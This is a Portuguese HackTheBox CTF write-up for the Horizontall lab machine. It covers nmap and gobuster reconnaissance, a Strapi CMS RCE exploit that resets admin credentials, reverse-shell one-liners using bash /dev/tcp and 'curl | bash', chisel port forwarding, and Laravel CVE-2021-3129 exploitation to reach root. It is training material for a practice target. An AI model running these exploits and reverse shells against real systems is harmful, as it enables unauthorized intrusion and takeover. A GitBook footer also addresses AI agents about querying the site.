> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md).

# Relato do HackTheBox Horizontall

{% embed url="<https://app.hackthebox.com/machines/Horizontall>" %}

{% hint style="warning" %}
**Habilidades:**

* Vazamento de Informações
* Encaminhamento de Porta
* Exploração do Strapi CMS
* Exploração do Laravel
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/e96bb859a95e7d18dee641cb0f5962c85bca6eeb" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/a7cb63845fe55bfdd869a29826f9616b16df6f8b" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts
```

<figure><img src="/files/fd6abd44164a43746ad3dcbe0a86c214008e8d3a" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap 22,80:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.105 -oN targeted
```

<figure><img src="/files/9a6963cd0a1ba1f8c8dd8631b1c4be74e9563e17" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, insira o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

<figure><img src="/files/bd187fee9a2144211ed38da7d779444d1af3647e" alt=""><figcaption></figcaption></figure>

## Escanear a porta 80

<figure><img src="/files/b402ec2beb30befc1a8e6290c78aeb5a128cc942" alt=""><figcaption></figcaption></figure>

### Fuzzing de subdomínios (gobuster)

Em seguida, iniciamos uma busca por subdomínios com **Gobuster**:

```bash
gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Encontramos um subdomínio interessante: **api-prod.horizontall.htb**.

<figure><img src="/files/ed26405270f4a48ff3497f37c2e0452faff9ded7" alt=""><figcaption></figcaption></figure>

Nós o adicionamos a **/etc/hosts**

<figure><img src="/files/acc5e799abb9717d07a1c03ce132436983beed64" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8e8a8b7e20d841a078a3d284b728a9ed091afd8b" alt=""><figcaption></figcaption></figure>

### Fuzzing de diretório da API

Realizamos uma análise dos diretórios acessíveis no subdomínio da API:

```
gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Encontramos:

* admin
* users
* reviews

<figure><img src="/files/386865271a3ccb8e4c83c0a434ea0c422b99831c" alt=""><figcaption></figcaption></figure>

```bash
gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

### Exploração do Strapi CMS (RCE)

Estamos procurando uma vulnerabilidade no Strapi com **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/97c6325320d8cd394a9c571554e20c87a8b1ed89" alt=""><figcaption></figcaption></figure>

Usamos o exploit:

```bash
python3 50239.py http://api-prod.horizontall.htb
```

<figure><img src="/files/09d24383aa828124863b0eb05e154b8bca39af4d" alt=""><figcaption></figcaption></figure>

Isso nos fornece credenciais de administrador

{% code overflow="wrap" %}

```javascript
[+] Seu e-mail é: admin@horizontall.htb
[+] Suas novas credenciais são: admin:SuperStrongPassword1 
[+] Seu JSON Web Token autenticado: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/ee242e01e41e467b88c302f3e24b4a7eda910097" alt=""><figcaption></figcaption></figure>

Recuperamos um hash de senha do usuário que acabou de ser criado:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/b0b019e1663a92b7432014bc9f6d174f9caffe51" alt=""><figcaption></figcaption></figure>

### Obtendo uma Shell Reversa

Criamos um **index.html** contendo uma carga útil de shell reversa:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Iniciamos um servidor web:

```bash
python3 -m http.server 80
```

Abrimos uma conexão de escuta:

```bash
nc -nlvp 443
```

Então executamos a carga útil no alvo:

```bash
curl http://10.10.14.75:80 | bash
```

<figure><img src="/files/9d3940784a3f2bfcbd77ba139ecf283b692a419e" alt=""><figcaption></figcaption></figure>

#### Estabilizamos nossa shell:

```bash
script /dev/null -c bash
# Ctrl+Z


reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="/files/1c00cbd3aacf272945c6a1216c22df4edec97862" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégios

Em seguida, listamos as portas abertas na máquina alvo para verificar a presença da porta 8000:

```bash
netstat -tuln
```

<figure><img src="/files/9a102cc211e2b73949683de91527116ac44daf41" alt=""><figcaption></figcaption></figure>

Então, usamos `curl` para testar o acesso ao serviço na porta 8000:

```bash
curl 127.0.0.1:8000
```

Em seguida, observamos a presença do Laravel CMS.

<figure><img src="/files/27a45de2375be21517bf76c689ea56fca4d67c24" alt=""><figcaption></figcaption></figure>

### Port Forwarding chisel porta 8000

Primeiro compilamos o Chisel na nossa máquina local:

{% embed url="<https://github.com/jpillora/chisel>" %}

Depois transferimos o executável Chisel para a máquina vítima por meio de um servidor HTTP Python3

```bash
go build -ldflags "-s -w" .
upx chisel
```

<figure><img src="/files/bfa0d6480399703fcc66a849a77012c50706a7c9" alt=""><figcaption></figcaption></figure>

Depois transferimos o executável Chisel para a máquina vítima por meio de um servidor HTTP Python3

```bash
python3 -m http.server 8080
wget http://10.10.14.75:8080/chisel
```

<figure><img src="/files/e2d0aa0e9367b4b85aac2fe6b825c2696c3cb5c1" alt=""><figcaption></figcaption></figure>

Na nossa máquina, iniciamos o servidor Chisel:

```bash
./chisel server -p 9000 -reverse
```

Em seguida, na máquina vítima, configuramos o cliente Chisel para redirecionar a porta 8000 para nossa máquina local:

```bash
./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000
```

<figure><img src="/files/6de752dbd17e9fd0e9a93d67519324c1f9052c6d" alt=""><figcaption></figcaption></figure>

## Exploração do Laravel CMS (CVE-2021-3129)

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="/files/a16d320bdf585c601851fd4817f56661486c95cb" alt=""><figcaption></figcaption></figure>

#### Executando comandos arbitrários

Exploramos a vulnerabilidade CVE-2021-3129 para executar comandos arbitrários no servidor. Primeiro, testamos a execução emitindo o `id` comando:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

A saída confirma que temos privilégios de root.

<figure><img src="/files/372b3a9e7ef7a47ee747bac3ebd3de6dff371289" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

Uma vez confirmado o acesso, recuperamos a flag lendo o `/root/root.txt` arquivo:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt'
```

### Obtendo Acesso Interativo (Shell Reversa)

Para obter uma shell interativa, configuramos um listener na porta 443:

```bash
nc -nvlp 443
```

Em seguida, fazemos uma shell reversa no alvo usando o exploit:

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

Em seguida, obtemos acesso root na máquina alvo.

<figure><img src="/files/24781786457144112d627f243e967de2f7857db2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8b9d8c1228c12089376b485c3672602c65b77eec" alt="" width="541"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
